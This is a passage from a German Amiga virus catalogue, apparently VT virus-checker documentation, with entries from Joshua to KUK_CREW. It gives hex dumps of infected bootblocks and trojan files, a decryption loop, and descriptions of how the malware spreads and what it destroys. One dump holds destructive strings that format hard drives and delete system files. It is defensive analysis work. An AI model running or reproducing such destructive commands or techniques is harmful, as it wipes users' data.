  10464.            632f6c6f 636b0073 79733a63 2f656469 c/lock.sys:c/edi
  10465.            74007379 733a632f 65640073 79733a63 t.sys:c/ed.sys:c
  10466.            2f446973 6b646f63 746f7200 7379733a /Diskdoctor.sys:
  10467.            632f436f 6e666967 4f707573 00737973 c/ConfigOpus.sys
  10468.            3a632f61 6d696761 67756964 65007379 :c/amigaguide.sy
  10469.            733a632f 61737369 676e0025 730a0000 s:c/assign.%s...
  10470.         Ablauf:
  10471.          Zuerst versucht sich das Teil zu vermehren (Laenge 42676)
  10472.          Es schreibt sich mit verschiedenen Filenamen (s.o.) nach
  10473.          sys:c .
  10474.          Danach sollen Unterverzeichnisse (s.o.) auf dh0: geloescht
  10475.          werden.
  10476.          Zum Schluss erfolgt im cli eine Textausgabe: The Joker .. (s.o.)
  10477.          Das Teil muss also auffallen. Bedenken Sie bitte, dass z.B.
  10478.          der assign-Befehl in fast jeder startup-sequence vorkommt.
  10479.        Typ B:
  10480.        Filename:Condom1.5
  10481.        Laenge gepackt: 2948 Bytes
  10482.        Nach FileID: Condom V1.50 Check files after newer biomechanic trojan!
  10483.        VT bietet Loeschen an.
  10484.        Nach dem Entpacken sehen Sie, dass zwei Files mit der 4EB9-Methode
  10485.        zusammengelinkt wurden.
  10486.        Im 2. Link ist zu lesen:
  10487.            20202020 200a0044 61204a6f 6b657220      ..Da Joker
  10488.            73747269 6b656420 6f6e6365 20616761 striked once aga
  10489.            696e2121 0a002020 20202020 20202020 in!!..
  10490.            20202020 20202020 20202020 20202020
  10491.            2020200a 00737973 3a732f75 7365722d    ..sys:s/user-
  10492.            73746172 74757000 7379733a 70726566 startup.sys:pref
  10493.            732f5363 7265656e 4d6f6465 00737973 s/ScreenMode.sys
  10494.            3a6c6962 732f7265 71746f6f 6c732e6c :libs/reqtools.l
  10495.            69627261 72790073 79733a63 2f646973 ibrary.sys:c/dis
  10496.            6b646f63 746f7200 7379733a 632f646f kdoctor.sys:c/do
  10497.            70757352 54007379 733a632f 6d617075 pusRT.sys:c/mapu
  10498.            73007379 733a632f 61737369 676e0073 s.sys:c/assign.s
  10499.            79733a63 2f64656c 65746500 7379733a ys:c/delete.sys:
  10500.            732f7374 61727475 702d7365 7175656e s/startup-sequen
  10501.        Ablauf:
  10502.         KEINE Vermehrung
  10503.         Die Files (Namen s.o.) werden geloescht.
  10504.         Im cli erfolgt eine Textausgabe Da Joker .... (s.o.)
  10505.  
  10506.  
  10507.    - Joshua  Virus           BB
  10508.       senkrechtstehender Text Joshua (ueber Graphikroutine)
  10509.       BeginIo, Kickmem, KickTag, KickCheckSum, ExecVec5
  10510.  
  10511.    - Joshua2-Virus     anderer Name: Joshua3 oder Switch-Off
  10512.       Cold, BeginIo, ExecVec5
  10513.       hat Probleme mit einem Befehl im C-SubD. von WB1.3
  10514.       Bootblock jetzt verschluesselt:  loop: move.b (A0),D0
  10515.                                              eori.b #$18,D0
  10516.       das eor-Byte wechselt und steht auch   move.b D0,(A0)+
  10517.       an $3ff des BBs. Zu erkennen ist der   cmpa.l A1,A0
  10518.       Joshua 2 am Ende des BBs an der Byte-  bne loop
  10519.       folge, wobei sich aber das X je nach   rts
  10520.       eor-Byte aendert: .XX...XXX........XX.XX.XXXX...X.XX.
  10521.       die Punkte koennen auch durch andere Zeichen belegt sein
  10522.       Hinweis 17.07.93: In letzter Zeit wird wieder eine zunehmende
  10523.       Verseuchung der BBe mit Joshua2 beobachtet. Versuche an einem
  10524.       A600 (OHNE Speichererweiterung) haben gezeigt, dass das Teil
  10525.       bei der Installierung zwar mit einem GURU antwortet (wg.Vec5),
  10526.       nach einem Reset aber ueber COLD weiterhin im Speicher aktiv
  10527.       UND vermehrungsfaehig ist !!!!
  10528.  
  10529.    - Joshua 3    anderer Name und richtig: Joshua2-Virus
  10530.       Es existiert eine BB-Sammlung, die einen wirklichen ByteBandit
  10531.       (aufs Byte im Speicher) Joshua1 nennt. Hieraus ergibt sich
  10532.       dann eine falsche Nummer. Nachtrag: Diese BB-Sammlung wurde
  10533.       inzwischen (15.04.91) in diesem Punkt korrigiert !!
  10534.  
  10535.    - Joshua4-Virus    BB
  10536.       BeginIo, Kickmem, KickTag, KickCheckSum, ExecVec5
  10537.       Es handelt sich um einen Joshua  Virus, in dem der Code um
  10538.       einige Bytes verschoben wurde.
  10539.       Im BB ist uncodiert an $8 zu lesen: ANDY
  10540.       Decodiert steht im BB:
  10541.       trackdisk.device,0
  10542.       *JOSHUA*,0
  10543.  
  10544.    - JoshuaKill.BB   siehe unten bei    erkannte Virenfinder
  10545.  
  10546.    - JT-Protec-Virus   sofort loeschen
  10547.       Versucht durch Texte zu taeuschen:
  10548.        00: 444f5300 766df475 00000370 61000072 DOS.vm.u...pa..r
  10549.              ;....                    ^^^^^^^^
  10550.        40: 4a542056 69727573 2050726f 74656374 JT Virus Protect
  10551.        50: 6f722031 2e30202d 20546869 73206973 or 1.0 - This is
  10552.        60: 20612063 7573746f 6d204242 2c20646f  a custom BB, do
  10553.        70: 204e4f54 206b696c 6c206d65 21140048  NOT kill me!..H
  10554.                                             ^^
  10555.        80: e7fffe61 0e4cdf7f ff4e7505 98000141 ...a.L..Nu....A
  10556.            ^^^^^^           ;......
  10557.            80808080 002d2042 61736564 206f6e20 .....- Based on
  10558.            74686520 47524541 54204242 2d766972 the GREAT BB-vir
  10559.            75737072 6f746563 746f7220 62792047 usprotector by G
  10560.            454f5247 20483052 4d414e21 2121202d EORG H0RMAN!!! -
  10561.       Zum Glueck ist die Version, die ich besitze NICHT lauf-
  10562.       faehig, da beim zusammensetzen des BBs ein Zaehlfehler unter-
  10563.       gekommen ist. Der Sprungbefehl trifft bei $80 auf einen un-
  10564.       gueltigen Befehl. Waere der Programmteil um 1 Byte verschoben
  10565.       und damit lauffaehig, so wuerde es sich um einen Coder-Clone
  10566.       handeln.
  10567.  
  10568.    - Julie   anderer Name Tick oder VIRUS PREDATOR
  10569.          immer $7f800, cool, DoIo, BeginIo und  $20
  10570.          arbeitet nicht sauber mit 1MB Chip
  10571.          testet einige Zeiger und drei Werte (z.B. auf $7ec00)
  10572.          Vermehrung: ohne Warnung ueber (nur ausfuehrbare) BB's
  10573.             decodiert mit not.b (a0)+ steht im Speicher:
  10574.                `  VIRUS PREDATOR  (4-88-SPAIN)  ID: 027798336  `
  10575.          also ist der Name Julie eigentlich falsch !!
  10576.  
  10577.    - KaKo-Virus   BB    Extreme-Clone  s.o.
  10578.          Unterschiede zu Extreme:
  10579.          - Rootblockzeiger ($00000370) ersetzt durch "KaKo"
  10580.            = Namensbegruendung
  10581.          - String "dos.library" im BB verlagert
  10582.          - String "intuition.library" im BB verlagert
  10583.          - DisplayAlert-Text jetzt Leerzeichen
  10584.          Rest siehe bei Extreme-Virus
  10585.          Wurde bisher schon als Virus erkannt im BB und im Speicher !!!
  10586.  
  10587.    - KaKoloadwb  File  Laenge: 2804 Bytes ungepackt  T.F.C.loadwb-Clone
  10588.          Aktiviert WB und installiert im Speicher KaKo-Virus-BB .
  10589.          Vermehrung nur als BB moeglich
  10590.          Unterschiede zu T.F.C :
  10591.          - Text am Fileanfang mit teilweise sinnlosen Zeichen ueber-
  10592.            schrieben. Es ist aber auch z.B. loadwb lesbar.
  10593.          - T.F.C.-BB durch KaKo-BB ersetzt.
  10594.          Wurde bisher schon als Virus erkannt bei FileTest und im
  10595.          Speicher !!!
  10596.  
  10597.    - Karacic-Trojan    Zerstoerungsfile
  10598.          andere moegliche Namen:
  10599.          - DiskSpeeder-Trojan
  10600.          - GVP-HardDiskSpeeder-Trojan
  10601.          Laenge gepackt:  1460 Bytes
  10602.          Laenge entpackt: 1924 Bytes
  10603.          Keine verbogenen Vektoren
  10604.          KEINE Selbstvermehrung
  10605.          Verwendet einen Funktionsaufruf, der nach meinem Wissensstand
  10606.          erst ab KS3.0 vorhanden ist.
  10607.          Im entpackten File ist z.B. zu lesen:
  10608.                                       72756e20             run
  10609.            3e4e494c 3a207379 733a7379 7374656d >NIL: sys:system
  10610.            2f666f72 6d617420 64726976 65206864 /format drive hd
  10611.            343a206e 616d6520 224b6172 61e769e7 4: name "Kara.i.
  10612.            20566972 75732073 7472696b 65732062  Virus strikes b
  10613.            61636b22 00007275 6e203e4e 494c3a20 ack"..run >NIL:
  10614.            433a6465 6c657465 206c3a23 3f20616c C:delete l:#? al
  10615.            6c00                                l.
  10616.               ;.....
  10617.                                  733a 6e6f7468           s:noth
  10618.            65726500 0f4e6f74 206f6e20 74686973 ere..Not on this
  10619.            2048440a 536e6f6f 70446f73 20537570  HD.SnoopDos Sup
  10620.            706f7274 2050726f 63657373 0000003f port Process...?
  10621.            27486172 64446973 6b537065 65646572 'HardDiskSpeeder
  10622.            2076312e 350a6279 20475650 20496e63  v1.5.by GVP Inc
  10623.            2e20a931 3939350a 23486172 64446973 . .1995.#HardDis
  10624.            6b537065 65646572 2076312e 3520696e kSpeeder v1.5 in
  10625.            7374616c 6c656420 2e2e2e0a          stalled ....
  10626.          Ablauf bei start ohne ?:
  10627.           Suche nach SnoopDos. Gefunden = Ende
  10628.           Suche nach File s:nothere  Gefunden = Textausgabe: Not on this HD
  10629.           Im Cli wird ausgegeben:
  10630.            HardDiskSpeeder v1.5 installed ...
  10631.           DosDelay-Pause
  10632.           Requester-Ausgabe
  10633.           entweder Funktion Exec-Reboot
  10634.           oder Beginn der Zerstoerung.
  10635.           Formatiert werden sollen dh0-dh4 oder hd0-hd4
  10636.           Dieser Vorgang MUSS auffallen.
  10637.           Danach sollen noch alle Files in den Verzeichnissen l, libs,
  10638.           devs, s und c geloescht werden.
  10639.           Bei Start mit ? erfolgt die Ausgabe:
  10640.           HardDiskSpeeder v1.5
  10641.           by GVP Inc. c1995
  10642.  
  10643.  
  10644.    - Kauki   immer $7ec00, Cool, im Prg. $80, $84, $88
  10645.          im Prg. auch noch DoIo, schreibt aber spaeter im Prg DoIo von
  10646.          KS1.2 zurueck (nach Vermehrung)
  10647.          den meisten Platz brauchen die Chopperlisten. Das ChopperIntro
  10648.          laeuft auch mit KS1.3 . Kauki im BB nicht sichtbar.
  10649.  
  10650.    - Kefrens     SCA-Clone
  10651.          Text im BB:
  10652.                        Ohh noo!!!!
  10653.                I think something is wrong!
  10654.                    and even better...
  10655.                Some of your disks are sick
  10656.                        Watch out!
  10657.                        By Kefrens
  10658.                       offcourse!!!
  10659.  
  10660.    - Kefrens 2  wie Kefrens = SCA-Clone nur Text verschoben
  10661.  
  10662.    - KHOMEINI-Virus    MAD II  Clone  s.u.
  10663.          Nur Texte geaendert.
  10664.          Im BB ist uncodiert zu lesen:
  10665.            596f7572 20646973 6b287329 20686173 Your disk(s) has
  10666.            20626565 6e20706f 73736573 73656420  been possessed
  10667.            62792074 6865204b 484f4d45 494e4920 by the KHOMEINI
  10668.            56697275 73212121 21204576 656e2061 Virus!!!! Even a
  10669.            66746572 20686973 20646561 74682068 fter his death h
  10670.            65207461 6b657320 72657665 6e676521 e takes revenge!
  10671.            21212048 412d4841 2d48412d 48412020 !! HA-HA-HA-HA
  10672.  
  10673.    - KICK-Virus  SADDAM-Clone
  10674.          Blocklangwort: KICK
  10675.          Namensbegruendung: im Speicher ist decodiert zu lesen
  10676.            6b2e6465 76696365 00010820 204b4943 k.device...  KIC
  10677.            4b202056 49525553 00000000 03f30000 K  VIRUS........
  10678.            00000000 00010000 00000000 00000000 ................
  10679.            01c50000 03e90000 01c55573 65204b69 ..........Use Ki
  10680.            636b7374 61727420 312e322f 312e3300 ckstart 1.2/1.3.
  10681.            00000000 00000000 00000000 00000000 ................
  10682.          Use Kick... ist uncodiert im Disk-Validator-File zu lesen.
  10683.          Behandlung: siehe bei SADDAM     09.04.93
  10684.  
  10685.    - KidCurry-Trojan  siehe bei Biomech-Trojan
  10686.  
  10687.    - Killed Virus  BB  immer $7EC00, Cool $7EC92, DoIo $7ECCA
  10688.          KS2.04: ja   Fordert trackdisk.device NICHT
  10689.          Vermehrung und Schaden: BB
  10690.          Namensbegruendung: im BB zu lesen:
  10691.            72790020 4b696c6c 65642000 4ef90000 ry. Killed .N...
  10692.            0000ffff fdf6436f 70793a30 32390000 ......Copy:029..
  10693.          Beim Boot-Vorgang li.MT  Text ueber Graphik
  10694.             heller Hintergrund, dunkle Schrift
  10695.                  Copy:029
  10696.          Danach re. MT:  gleiche Farben:   Killed
  10697.  
  10698.    - KIMBLE.BB Virus  CREEPING EEL Clone siehe oben
  10699.          Vergleiche: Creeping EEL, Executors
  10700.          Nur Text geaendert: (im BB ist zu lesen)  
  10701.            002f0082 54686973 20697320 616e2041 ./..This is an A
  10702.            6e746976 69727573 3a202020 20200000 ntivirus:     ..
  10703.            001e00b4 4b204920 4d204220 4c204520 ....K I M B L E
  10704.            2043204f 204d2045 20532020 42204120  C O M E S  B A
  10705.            434b0000 003c00be 20205573 65206974 CK...<..  Use it
  10706.            2e2ea120 4b494d42 4c452021 20200000 ... KIMBLE !  ..
  10707.          Rest siehe oben bei Creeping EEL
  10708.  
  10709.    - KIMBLE.BB-Inst.  File   Laenge: 3212 Bytes
  10710.          Mit der Hunklab-Bootjob-Methode wurde der BB an den c-Befehl
  10711.          type angelinkt.  40.3 (11.4.94)  ??????
  10712.          Hunklab-Bootjob s.o.
  10713.          Die Wahrscheinlichkeit, dass ein LAUFFAEHIGER BB entsteht, ist
  10714.          gering.
  10715.          VT bietet Ausbau an.
  10716.  
  10717.    - KUK_CREW-Trojan    Zerstoerung
  10718.          Bekannte Filenamen:   AMIBLANK.000  1056 Bytes
  10719.                                AMIBLANK.020  1056 Bytes
  10720.          Nach File.ID soll es ein Blanker sein.
  10721.          Keine verbogenen Vektoren
  10722.          Keine Vermehrungsroutine
  10723.          Nicht Resetfest
  10724.          VT bietet Loeschen an.
  10725.          Verwendet Dos-Befehle, die erst ab KS2.04 laufen (Inhibit)
  10726.          Im entpackten File ist zu lesen:
  10727.            3e204b55 4b204352 4557203c 2041204e > KUK CREW < A N
  10728.            65772061 6e642045 76696c20 47726f75 ew and Evil Grou
  10729.            70206861 7320636f 6d652074 6f207370 p has come to sp
  10730.            72656164 20544552 524f5220 616e6420 read TERROR and
  10731.            44455354 52554354 694f4e20 746f2074 DESTRUCTiON to t
  10732.            68652041 6d696761 20536365 6e652120 he Amiga Scene!
  10733.            48414841 48416161 61616161 61616161 HAHAHAaaaaaaaaaa
  10734.            6800646f 732e6c69 62726172 79005359 h.dos.library.SY
  10735.            533a0000 4b554b5f 43524557 21004b55 S:..KUK_CREW!.KU
  10736.            4b5f4352 4557213a 48616861 21004b55 K_CREW!:Haha!.KU
  10737.            4b5f4352 4557213a 4d722e46 69747461 K_CREW!:Mr.Fitta
  10738.            5f256c64 00004b55 4b5f4352 4557213a _%ld..KUK_CREW!:
  10739.            44722e4b 6c697474 615f256c 64004b55 Dr.Klitta_%ld.KU
  10740.            4b5f4352 4557213a 4b756b2b 46697474 K_CREW!:Kuk+Fitt
  10741.            613d4261 726e5f25 6c640000 4b554b5f a=Barn_%ld..KUK_
  10742.            43524557 213a4b69 73732642 616a73c4 CREW!:Kiss&Bajs.
  10743.            724e6963 655f256c 64004e71          rNice_%ld.Nq
  10744.          Ablauf:
  10745.          Das Medium SYS: wird mit dem Namen KUK_CREW! schnellformatiert.
  10746.          Ein Rettung soll verhindert werden. Deshalb werden Files mit
  10747.          verschiedenen Namen (Haha! usw.) und verschiedener Laenge
  10748.          (z.B. #200000 usw.) mehrfach (z.B. #50x) aufkopiert. Diese Files
  10749.          enthalten am Anfang den Text >KUK CREW usw. und dann Muell.
  10750.          Da ist NICHTS mehr zu retten, falls Sie nicht sofort einen
  10751.          Reset durchfuehren.
  10752.  
  10753.  
  10754.  --------------------------------------------------------------------------
  10755.  
  10756.    Heiner Schneegold
  10757.    Am Steinert 8
  10758.    97246 Eibelstadt
  10759.    Deutschland
  10760.  
  10761.    Tel: 09303/99104
  10762.    (bitte nur 19.00 - 20.00 Uhr)
  10763.    EMail: Heiner.Schneegold@t-online.de
  10764.  
  10765.    Heiner
  10766.  
  10767.   Amiga ist ein eingetragenes Warenzeichen von Gateway 2000
  10768.  
  10769.